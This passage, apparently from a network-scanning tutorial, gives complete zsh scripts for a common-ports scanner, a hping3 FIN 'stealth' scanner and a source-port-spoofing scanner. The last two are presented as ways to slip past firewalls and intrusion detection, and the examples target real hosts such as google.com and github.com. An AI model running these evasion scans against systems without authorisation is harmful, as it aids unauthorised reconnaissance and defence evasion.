if [ -z "$TARGET_IP" ]; then
    TARGET_IP="$TARGET"
    echo -e "${YELLOW}[*] Could not resolve hostname, using as-is${NC}"
else
    echo -e "${GREEN}[✓] Target resolved to: $TARGET_IP${NC}"
fi

# Create temporary files
TMPDIR=$(mktemp -d)
OPEN_PORTS_FILE="$TMPDIR/open_ports"
trap "rm -rf $TMPDIR" EXIT

# Start time
START_TIME=$(date +%s)

echo ""
echo -e "${GREEN}[+] Starting scan of $TOTAL_PORTS common ports...${NC}"
echo ""

# Progress tracking
SCANNED=0

# Function to update progress
show_progress() {
    local current=$1
    local total=$2
    if [ "$total" -eq 0 ]; then
        return
    fi
    local percent=$((current * 100 / total))
    printf "\r${CYAN}Progress: [%-50s] %d%% (%d/%d ports)${NC}" \
           "$(printf '#%.0s' $(seq 1 $((percent / 2))))" \
           "$percent" "$current" "$total"
}

# Main scanning loop
for port in "${PORT_ARRAY[@]}"; do
    # Remove any whitespace
    port=$(echo "$port" | tr -d ' ')
    
    # Launch scan in background
    scan_port "$TARGET_IP" "$port" "$OPEN_PORTS_FILE" &
    
    # Manage parallel jobs
    JOBS_COUNT=$(jobs -r | wc -l)
    while [ "$JOBS_COUNT" -ge "$THREADS" ]; do
        sleep 0.05
        JOBS_COUNT=$(jobs -r | wc -l)
    done
    
    # Update progress
    ((SCANNED++))
    show_progress "$SCANNED" "$TOTAL_PORTS"
done

# Wait for remaining jobs
echo -e "\n${YELLOW}[*] Waiting for remaining scans to complete...${NC}"
wait

# End time
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))

# Process results
echo -e "\r\033[K"
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}           SCAN RESULTS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Count open ports
OPEN_COUNT=0
if [ -f "$OPEN_PORTS_FILE" ]; then
    OPEN_COUNT=$(wc -l < "$OPEN_PORTS_FILE" | tr -d ' ')
fi

# Display results
if [ "$OPEN_COUNT" -gt 0 ]; then
    echo -e "${GREEN}[✓] Found $OPEN_COUNT open port(s)${NC}"
    echo ""
    echo -e "${MAGENTA}Open Ports Summary:${NC}"
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    printf "${WHITE}%-10s %-20s${NC}\n" "PORT" "SERVICE"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    # Sort and display open ports
    sort -t: -k1 -n "$OPEN_PORTS_FILE" | while IFS=: read -r port service; do
        printf "${GREEN}%-10s${NC} ${YELLOW}%-20s${NC}\n" "$port/tcp" "$service"
    done
    
    # Group by service type
    echo ""
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${MAGENTA}Services by Category:${NC}"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    # Categorize services
    WEB_PORTS=""
    MAIL_PORTS=""
    DB_PORTS=""
    REMOTE_PORTS=""
    FILE_PORTS=""
    OTHER_PORTS=""
    
    while IFS=: read -r port service; do
        case $port in
            80|443|8080|8443|8000|8888|3000|5000|9000)
                WEB_PORTS="${WEB_PORTS}${port}($service) "
                ;;
            25|110|143|465|587|993|995)
                MAIL_PORTS="${MAIL_PORTS}${port}($service) "
                ;;
            1433|1521|3306|5432|6379|7000|9200|11211|27017)
                DB_PORTS="${DB_PORTS}${port}($service) "
                ;;
            22|23|3389|5900|5901|5902)
                REMOTE_PORTS="${REMOTE_PORTS}${port}($service) "
                ;;
            20|21|69|139|445|873|2049)
                FILE_PORTS="${FILE_PORTS}${port}($service) "
                ;;
            *)
                OTHER_PORTS="${OTHER_PORTS}${port}($service) "
                ;;
        esac
    done < "$OPEN_PORTS_FILE"
    
    [[ -n "$WEB_PORTS" ]] && echo -e "${BLUE}Web Services:${NC} $WEB_PORTS"
    [[ -n "$MAIL_PORTS" ]] && echo -e "${BLUE}Mail Services:${NC} $MAIL_PORTS"
    [[ -n "$DB_PORTS" ]] && echo -e "${BLUE}Database Services:${NC} $DB_PORTS"
    [[ -n "$REMOTE_PORTS" ]] && echo -e "${BLUE}Remote Access:${NC} $REMOTE_PORTS"
    [[ -n "$FILE_PORTS" ]] && echo -e "${BLUE}File Services:${NC} $FILE_PORTS"
    [[ -n "$OTHER_PORTS" ]] && echo -e "${BLUE}Other Services:${NC} $OTHER_PORTS"
    
    # Save report
    REPORT_FILE="common_ports_${TARGET}_$(date +%Y%m%d_%H%M%S).txt"
    {
        echo "Common Ports Scan Report"
        echo "========================"
        echo "Target: $TARGET ($TARGET_IP)"
        echo "Scan Type: $SCAN_DESCRIPTION"
        echo "Total Ports Scanned: $TOTAL_PORTS"
        echo "Open Ports Found: $OPEN_COUNT"
        echo "Scan Date: $(date)"
        echo "Duration: ${DURATION} seconds"
        echo ""
        echo "Open Ports:"
        echo "-----------"
        sort -t: -k1 -n "$OPEN_PORTS_FILE" | while IFS=: read -r port service; do
            printf "%-10s %s\n" "$port/tcp" "$service"
        done
    } > "$REPORT_FILE"
    
    echo ""
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${BLUE}[*] Report saved to: $REPORT_FILE${NC}"
else
    echo -e "${YELLOW}[-] No open ports found${NC}"
    echo -e "${YELLOW}    Possible reasons:${NC}"
    echo -e "${YELLOW}    • All scanned ports are closed${NC}"
    echo -e "${YELLOW}    • Firewall is blocking connections${NC}"
    echo -e "${YELLOW}    • Target is down or unreachable${NC}"
fi

# Display statistics
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}           STATISTICS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "  ${BLUE}Ports Scanned:${NC}  $TOTAL_PORTS"
echo -e "  ${GREEN}Open Ports:${NC}     $OPEN_COUNT"
if [ "$TOTAL_PORTS" -gt 0 ]; then
    echo -e "  ${RED}Success Rate:${NC}   $(( OPEN_COUNT * 100 / TOTAL_PORTS ))%"
else
    echo -e "  ${RED}Success Rate:${NC}   N/A"
fi
echo -e "  ${BLUE}Scan Duration:${NC}  ${DURATION} seconds"
if [ "$TOTAL_PORTS" -gt 0 ]; then
    echo -e "  ${BLUE}Scan Rate:${NC}      ~$(( TOTAL_PORTS / (DURATION + 1) )) ports/sec"
else
    echo -e "  ${BLUE}Scan Rate:${NC}      N/A"
fi
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Provide recommendations
if [ "$OPEN_COUNT" -gt 0 ]; then
    echo ""
    echo -e "${YELLOW}Security Recommendations:${NC}"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    # Check for risky services
    if grep -q "23:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${RED}⚠ Telnet (port 23) is insecure - use SSH instead${NC}"
    fi
    if grep -q "21:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${YELLOW}⚠ FTP (port 21) transmits credentials in plaintext${NC}"
    fi
    if grep -q "139:\|445:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${YELLOW}⚠ SMB/NetBIOS ports are exposed - ensure proper access controls${NC}"
    fi
    if grep -q "3389:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${YELLOW}⚠ RDP (port 3389) is exposed - use VPN or restrict access${NC}"
    fi
    if grep -q "3306:\|5432:\|1433:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${YELLOW}⚠ Database ports are exposed - should not be publicly accessible${NC}"
    fi
fi

echo ""
exit 0
EOF

chmod +x ./common_ports_scan.sh

How to Run:

# Scan default common ports
./common_ports_scan.sh example.com

# Scan web server ports
./common_ports_scan.sh example.com web

# Scan database ports
./common_ports_scan.sh example.com database

# Scan top 100 ports
./common_ports_scan.sh example.com top100

# Scan top 1000 ports with 100 threads
./common_ports_scan.sh example.com top1000 100

# Custom port list
./common_ports_scan.sh example.com "22,80,443,3306,8080"

# Get help
./common_ports_scan.sh --help

Default Ports Included:
– **21**: FTP (File Transfer Protocol)
– **22**: SSH (Secure Shell)
– **23**: Telnet
– **25**: SMTP (Simple Mail Transfer Protocol)
– **53**: DNS (Domain Name System)
– **80**: HTTP (Hypertext Transfer Protocol)
– **443**: HTTPS (HTTP Secure)
– **3306**: MySQL Database
– **3389**: RDP (Remote Desktop Protocol)
– **5432**: PostgreSQL Database

Script 6: Stealth FIN Scanner

Purpose:

Performs FIN scanning, a stealth technique that sends TCP packets with only the FIN flag set. This can bypass some firewalls and intrusion detection systems that only monitor SYN packets.

Create the Script:

cat > ./fin_scan.sh << 'EOF'
#!/bin/zsh

# TCP FIN Scanner using hping3
# Performs stealthy FIN scans to detect firewall rules and port states
# FIN scanning is a stealth technique that may bypass some firewalls
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
WHITE='\033[1;37m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
PORT_SPEC="${2:-80}"
COUNT="${3:-2}"
DELAY="${4:-1}"

# Function to print usage
print_usage() {
    local script_name="./fin_scan.sh"
    echo "Usage: $script_name <target> [port|port_range] [count] [delay]"
    echo ""
    echo "Parameters:"
    echo "  target      - Hostname or IP address to scan"
    echo "  port        - Single port or range (e.g., 80 or 80-90)"
    echo "  count       - Number of FIN packets per port (default: 2)"
    echo "  delay       - Delay between packets in seconds (default: 1)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com                # Scan port 80"
    echo "  $script_name example.com 443            # Scan port 443"
    echo "  $script_name example.com 80-85          # Scan ports 80-85"
    echo "  $script_name 192.168.1.1 22 3 0.5       # 3 packets, 0.5s delay"
    echo ""
    echo "FIN Scan Technique:"
    echo "  - Sends TCP packets with only FIN flag set"
    echo "  - CLOSED ports respond with RST"
    echo "  - OPEN ports typically don't respond (stealth)"
    echo "  - FILTERED ports may send ICMP or no response"
    echo ""
    echo "Response Interpretation:"
    echo "  RST received    = Port is CLOSED"
    echo "  No response     = Port is likely OPEN or FILTERED"
    echo "  ICMP received   = Port is FILTERED by firewall"
}

# Function to validate port
validate_port() {
    local port=$1
    if ! [[ "$port" =~ ^[0-9]+$ ]]; then
        return 1
    fi
    if [ "$port" -lt 1 ] || [ "$port" -gt 65535 ]; then
        return 1
    fi
    return 0
}

# Function to get service name
get_service_name() {
    local port=$1
    # Trim any whitespace from port number
    port=$(echo "$port" | tr -d ' ')
    # Common services
    case $port in
        21) echo "FTP" ;;
        22) echo "SSH" ;;
        23) echo "Telnet" ;;
        25) echo "SMTP" ;;
        53) echo "DNS" ;;
        80) echo "HTTP" ;;
        110) echo "POP3" ;;
        143) echo "IMAP" ;;
        443) echo "HTTPS" ;;
        445) echo "SMB" ;;
        3306) echo "MySQL" ;;
        3389) echo "RDP" ;;
        5432) echo "PostgreSQL" ;;
        6379) echo "Redis" ;;
        8080) echo "HTTP-Alt" ;;
        8443) echo "HTTPS-Alt" ;;
        27017) echo "MongoDB" ;;
        *)
            # Try system services
            local service=$(grep -w "^[^#]*$port/tcp" /etc/services 2>/dev/null | head -1 | awk '{print $1}')
            if [[ -n "$service" ]]; then
                echo "$service"
            else
                echo "Unknown"
            fi
            ;;
    esac
}

# Function to perform FIN scan on a single port
scan_port() {
    local target=$1
    local port=$2
    local count=$3
    local delay=$4
    
    local service=$(get_service_name "$port")
    echo ""
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${BLUE}Scanning Port:${NC} $port/tcp ($service)"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    local responses=0
    local rst_count=0
    local icmp_count=0
    local no_response=0
    
    for i in $(seq 1 $count); do
        echo -e "${YELLOW}[→] Sending FIN packet $i/$count to port $port...${NC}"
        
        # Run hping3 with FIN flag
        local result=$(hping3 -F -p "$port" -c 1 "$target" 2>&1)
        
        # Analyze response
        if echo "$result" | grep -q "flags=RA\|flags=R"; then
            echo -e "${RED}[←] RST received - Port $port is CLOSED${NC}"
            ((rst_count++))
            ((responses++))
        elif echo "$result" | grep -q "ICMP"; then
            echo -e "${YELLOW}[←] ICMP received - Port $port is FILTERED${NC}"
            ((icmp_count++))
            ((responses++))
        elif echo "$result" | grep -q "timeout\|100% packet loss"; then
            echo -e "${GREEN}[◊] No response - Port $port may be OPEN or heavily FILTERED${NC}"
            ((no_response++))
        else
            # Check for any other response
            if echo "$result" | grep -q "len="; then
                echo -e "${BLUE}[←] Unexpected response received${NC}"
                ((responses++))
            else
                echo -e "${GREEN}[◊] No response - Port $port may be OPEN${NC}"
                ((no_response++))
            fi
        fi
        
        # Add delay between packets
        if [ "$i" -lt "$count" ] && [ "$delay" != "0" ]; then
            sleep "$delay"
        fi
    done
    
    # Port state analysis
    echo ""
    echo -e "${CYAN}Port $port Analysis:${NC}"
    echo -e "  Packets sent: $count"
    echo -e "  RST responses: $rst_count"
    echo -e "  ICMP responses: $icmp_count"
    echo -e "  No responses: $no_response"
    
    # Determine likely port state
    if [ "$rst_count" -gt 0 ]; then
        echo -e "  ${RED}▸ Verdict: Port $port is CLOSED${NC}"
    elif [ "$icmp_count" -gt 0 ]; then
        echo -e "  ${YELLOW}▸ Verdict: Port $port is FILTERED (firewall blocking)${NC}"
    elif [ "$no_response" -eq "$count" ]; then
        echo -e "  ${GREEN}▸ Verdict: Port $port is likely OPEN or silently FILTERED${NC}"
        echo -e "  ${CYAN}  Note: No response to FIN often indicates OPEN port${NC}"
    else
        echo -e "  ${BLUE}▸ Verdict: Port $port state is UNCERTAIN${NC}"
    fi
    
    return $responses
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Parse port specification (single port or range)
START_PORT=""
END_PORT=""

if [[ "$PORT_SPEC" =~ ^([0-9]+)-([0-9]+)$ ]]; then
    # Port range (zsh compatible)
    START_PORT="${match[1]}"
    END_PORT="${match[2]}"
    
    # Validate range
    if ! validate_port "$START_PORT" || ! validate_port "$END_PORT"; then
        echo -e "${RED}Error: Invalid port range${NC}"
        exit 1
    fi
    
    if [ "$START_PORT" -gt "$END_PORT" ]; then
        echo -e "${RED}Error: Start port must be less than or equal to end port${NC}"
        exit 1
    fi
elif [[ "$PORT_SPEC" =~ ^[0-9]+$ ]]; then
    # Single port
    if ! validate_port "$PORT_SPEC"; then
        echo -e "${RED}Error: Port must be between 1-65535${NC}"
        exit 1
    fi
    START_PORT="$PORT_SPEC"
    END_PORT="$PORT_SPEC"
else
    echo -e "${RED}Error: Invalid port specification${NC}"
    echo "Use a single port (e.g., 80) or range (e.g., 80-90)"
    exit 1
fi

# Validate count
if ! [[ "$COUNT" =~ ^[0-9]+$ ]] || [ "$COUNT" -lt 1 ]; then
    echo -e "${RED}Error: Count must be a positive number${NC}"
    exit 1
fi

# Validate delay
if ! [[ "$DELAY" =~ ^[0-9]*\.?[0-9]+$ ]]; then
    echo -e "${RED}Error: Delay must be a number${NC}"
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: FIN scan requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Calculate total ports
TOTAL_PORTS=$((END_PORT - START_PORT + 1))

# Display header
echo -e "${MAGENTA}╔════════════════════════════════════════╗${NC}"
echo -e "${MAGENTA}║         TCP FIN SCANNER                ║${NC}"
echo -e "${MAGENTA}║      (Stealth Scan Technique)          ║${NC}"
echo -e "${MAGENTA}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}         $TARGET"
if [ "$START_PORT" -eq "$END_PORT" ]; then
    echo -e "  ${BLUE}Port:${NC}           $START_PORT"
else
    echo -e "  ${BLUE}Port Range:${NC}     $START_PORT-$END_PORT ($TOTAL_PORTS ports)"
fi
echo -e "  ${BLUE}Packets/Port:${NC}   $COUNT"
echo -e "  ${BLUE}Packet Delay:${NC}   ${DELAY}s"
echo -e "  ${BLUE}Scan Type:${NC}      TCP FIN (Stealth)"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Resolve target
echo ""
echo -e "${YELLOW}[*] Resolving target...${NC}"
TARGET_IP=$(ping -c 1 "$TARGET" 2>/dev/null | grep -oE "\([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\)" | tr -d '()')
if [ -z "$TARGET_IP" ]; then
    TARGET_IP="$TARGET"
    echo -e "${YELLOW}[*] Could not resolve hostname, using as-is${NC}"
else
    echo -e "${GREEN}[✓] Target resolved to: $TARGET_IP${NC}"
fi

# Start time
START_TIME=$(date +%s)

echo ""
echo -e "${GREEN}[+] Starting FIN scan...${NC}"
echo -e "${CYAN}[i] FIN scan sends TCP packets with only the FIN flag set${NC}"
echo -e "${CYAN}[i] This technique may bypass some packet filters and IDS${NC}"

# Results tracking
declare -A PORT_STATES
OPEN_PORTS=""
CLOSED_PORTS=""
FILTERED_PORTS=""

# Main scanning loop
for port in $(seq $START_PORT $END_PORT); do
    scan_port "$TARGET_IP" "$port" "$COUNT" "$DELAY"
    
    # Store result based on responses
    if [ $? -eq 0 ]; then
        # No responses likely means open
        OPEN_PORTS="${OPEN_PORTS}$port "
        PORT_STATES[$port]="OPEN/FILTERED"
    fi
done

# End time
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))

# Generate summary report
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}         SCAN SUMMARY${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Count results
OPEN_COUNT=$(echo "$OPEN_PORTS" | wc -w | tr -d ' ')
CLOSED_COUNT=$(echo "$CLOSED_PORTS" | wc -w | tr -d ' ')
FILTERED_COUNT=$(echo "$FILTERED_PORTS" | wc -w | tr -d ' ')

echo -e "${BLUE}Scan Results:${NC}"
echo -e "  Total Ports Scanned: $TOTAL_PORTS"
echo -e "  Likely Open/Filtered: $OPEN_COUNT"
echo -e "  Confirmed Closed: $CLOSED_COUNT"
echo -e "  Confirmed Filtered: $FILTERED_COUNT"
echo -e "  Scan Duration: ${DURATION} seconds"

if [ "$OPEN_COUNT" -gt 0 ]; then
    echo ""
    echo -e "${GREEN}Potentially Open Ports:${NC}"
    for port in $OPEN_PORTS; do
        service=$(get_service_name "$port")
        echo -e "  ${GREEN}▸${NC} Port $port/tcp - $service"
    done
fi

# Save report to file
REPORT_FILE="fin_scan_${TARGET}_$(date +%Y%m%d_%H%M%S).txt"
{
    echo "TCP FIN Scan Report"
    echo "==================="
    echo "Target: $TARGET ($TARGET_IP)"
    echo "Port Range: $START_PORT-$END_PORT"
    echo "Scan Date: $(date)"
    echo "Duration: ${DURATION} seconds"
    echo "Technique: TCP FIN (Stealth Scan)"
    echo ""
    echo "Results:"
    echo "--------"
    echo "Likely Open/Filtered: $OPEN_COUNT"
    echo "Confirmed Closed: $CLOSED_COUNT"
    echo "Confirmed Filtered: $FILTERED_COUNT"
    
    if [ "$OPEN_COUNT" -gt 0 ]; then
        echo ""
        echo "Potentially Open Ports:"
        for port in $OPEN_PORTS; do
            service=$(get_service_name "$port")
            echo "  Port $port/tcp - $service"
        done
    fi
} > "$REPORT_FILE"

echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${BLUE}[*] Report saved to: $REPORT_FILE${NC}"
echo ""
echo -e "${YELLOW}Important Notes:${NC}"
echo -e "${CYAN}• FIN scanning is a stealth technique${NC}"
echo -e "${CYAN}• No response often indicates an OPEN port${NC}"
echo -e "${CYAN}• RST response indicates a CLOSED port${NC}"
echo -e "${CYAN}• Results may vary based on firewall rules${NC}"
echo -e "${CYAN}• Some systems may not follow RFC standards${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit 0
EOF

chmod +x ./fin_scan.sh

How to Run:

# Scan default port 80
./fin_scan.sh example.com

# Scan specific port
./fin_scan.sh example.com 443

# Scan port range
./fin_scan.sh example.com 80-85

# Custom parameters
./fin_scan.sh 192.168.1.1 22 3 0.5

# Quick single packet scan
./fin_scan.sh server.com 80-443 1 0

# Get help
./fin_scan.sh --help

Response Interpretation:
– **No response**: Port likely open (or filtered)
– **RST response**: Port closed
– **ICMP unreachable**: Port filtered

—

Script 7: Source Port Spoofing

Purpose:
Modifies the source port of outgoing packets to bypass firewall rules that allow traffic from specific “trusted” ports like DNS (53) or FTP-DATA (20).

Create the Script:

cat > ./source_port_scan.sh << 'EOF'
#!/bin/zsh

# Source Port Spoofing Scanner using hping3
# Attempts to bypass firewalls that trust certain source ports
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
NC='\033[0m' # No Color

# Parse arguments early
TARGET="$1"
DEST_PORT="${2:-80}"
SOURCE_PORT="${3:-53}"
COUNT="${4:-1}"

# Function to print usage
print_usage() {
    local script_name="./source_port_scan.sh"
    echo "Usage: $script_name <target> [dest_port] [source_port] [count]"
    echo ""
    echo "Parameters:"
    echo "  target       - Hostname or IP address to scan"
    echo "  dest_port    - Destination port to scan (default: 80)"
    echo "  source_port  - Source port to spoof (default: 53)"
    echo "  count        - Number of packets to send (default: 1)"
    echo ""
    echo "Common trusted source ports:"
    echo "  53 (DNS), 20 (FTP-DATA), 123 (NTP), 67/68 (DHCP)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com                  # Scan port 80 from source port 53"
    echo "  $script_name example.com 443               # Scan port 443 from source port 53"
    echo "  $script_name example.com 80 20             # Scan port 80 from source port 20"
    echo "  $script_name example.com 80 53 3           # Send 3 packets"
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: Source port scan requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Map common source ports to names
declare -A source_services
source_services[53]="DNS"
source_services[20]="FTP-DATA"
source_services[123]="NTP"
source_services[67]="DHCP"
source_services[68]="DHCP"
source_services[88]="Kerberos"
source_services[500]="IKE/IPSec"

SERVICE_NAME=${source_services[$SOURCE_PORT]:-"Custom"}

# Display header
echo -e "${MAGENTA}╔════════════════════════════════════════╗${NC}"
echo -e "${MAGENTA}║    SOURCE PORT SPOOFING SCANNER       ║${NC}"
echo -e "${MAGENTA}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}         $TARGET:$DEST_PORT"
echo -e "  ${BLUE}Source Port:${NC}    $SOURCE_PORT ($SERVICE_NAME)"
echo -e "  ${BLUE}Packet Count:${NC}   $COUNT"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""
echo -e "${YELLOW}[*] Attempting to bypass firewall rules that trust source port $SOURCE_PORT${NC}"
echo -e "${CYAN}[i] Some firewalls allow traffic from 'trusted' source ports${NC}"
echo ""

# Resolve target
echo -e "${YELLOW}[*] Resolving target...${NC}"
TARGET_IP=$(ping -c 1 "$TARGET" 2>/dev/null | grep -oE "\([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\)" | tr -d '()')
if [ -z "$TARGET_IP" ]; then
    TARGET_IP="$TARGET"
    echo -e "${YELLOW}[*] Could not resolve hostname, using as-is${NC}"
else
    echo -e "${GREEN}[✓] Target resolved to: $TARGET_IP${NC}"
fi

echo ""
echo -e "${GREEN}[+] Starting source port spoofing scan...${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

OPEN_COUNT=0
CLOSED_COUNT=0
FILTERED_COUNT=0

for i in $(seq 1 $COUNT); do
    echo -e "${CYAN}[→] Sending SYN packet $i/$COUNT from port $SOURCE_PORT...${NC}"
    result=$(hping3 -S -p $DEST_PORT -s $SOURCE_PORT -c 1 $TARGET_IP 2>&1)
    
    if echo "$result" | grep -q "flags=SA\|flags=S\.A"; then
        echo -e "${GREEN}[✓] Port $DEST_PORT appears OPEN (SYN+ACK received)${NC}"
        echo -e "${GREEN}    → Source port spoofing may have bypassed filtering!${NC}"
        ((OPEN_COUNT++))
    elif echo "$result" | grep -q "flags=RA\|flags=R"; then
        echo -e "${RED}[✗] Port $DEST_PORT appears CLOSED (RST received)${NC}"
        ((CLOSED_COUNT++))
    elif echo "$result" | grep -q "ICMP"; then
        icmp_type=$(echo "$result" | grep -oE "ICMP [^,]+" | head -1)
        echo -e "${YELLOW}[!] ICMP response received: $icmp_type${NC}"
        echo -e "${YELLOW}    → Port is likely FILTERED by firewall${NC}"
        ((FILTERED_COUNT++))
    elif echo "$result" | grep -q "100% packet loss\|timeout"; then
        echo -e "${YELLOW}[?] No response - Port $DEST_PORT may be FILTERED${NC}"
        ((FILTERED_COUNT++))
    else
        # Check for any response
        if echo "$result" | grep -q "len="; then
            echo -e "${BLUE}[←] Unexpected response received${NC}"
            echo "$result" | grep "len=" | head -1
        else
            echo -e "${YELLOW}[?] No response - Port $DEST_PORT may be FILTERED${NC}"
            ((FILTERED_COUNT++))
        fi
    fi
    
    if [ "$i" -lt "$COUNT" ]; then
        sleep 0.5
    fi
done

echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}         SCAN SUMMARY${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""
echo -e "${BLUE}Target:${NC} $TARGET ($TARGET_IP)"
echo -e "${BLUE}Port Scanned:${NC} $DEST_PORT"
echo -e "${BLUE}Source Port Used:${NC} $SOURCE_PORT ($SERVICE_NAME)"
echo ""

if [ "$OPEN_COUNT" -gt 0 ]; then
    echo -e "${GREEN}▸ Verdict: Port $DEST_PORT is OPEN${NC}"
    echo -e "${GREEN}  ✓ Source port $SOURCE_PORT successfully bypassed filtering!${NC}"
    echo -e "${YELLOW}  ⚠ Warning: Firewall may be misconfigured to trust port $SOURCE_PORT${NC}"
elif [ "$CLOSED_COUNT" -gt 0 ]; then
    echo -e "${RED}▸ Verdict: Port $DEST_PORT is CLOSED${NC}"
    echo -e "${CYAN}  Note: Port responded normally regardless of source port${NC}"
else
    echo -e "${YELLOW}▸ Verdict: Port $DEST_PORT is FILTERED${NC}"
    echo -e "${CYAN}  Note: Source port $SOURCE_PORT did not bypass filtering${NC}"
    echo -e "${CYAN}  The firewall is properly configured against source port spoofing${NC}"
fi

echo ""
echo -e "${BLUE}Results Summary:${NC}"
echo -e "  Open responses: $OPEN_COUNT"
echo -e "  Closed responses: $CLOSED_COUNT"
echo -e "  Filtered/No response: $FILTERED_COUNT"
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

echo ""
echo -e "${YELLOW}Security Notes:${NC}"
echo -e "${CYAN}• Source port spoofing tests firewall trust relationships${NC}"
echo -e "${CYAN}• Some older firewalls trust traffic from DNS (53) or FTP-DATA (20)${NC}"
echo -e "${CYAN}• Modern firewalls should not trust source ports alone${NC}"
echo -e "${CYAN}• This technique is often combined with other evasion methods${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit 0
EOF

chmod +x ./source_port_scan.sh

How to Run:

# Basic Examples
./source_port_scan.sh google.com                      # Default: port 80, source port 53 (DNS), 1 packet
./source_port_scan.sh github.com 443                  # Scan HTTPS port with DNS source port
./source_port_scan.sh example.com 80 20               # Use FTP-DATA source port (20)
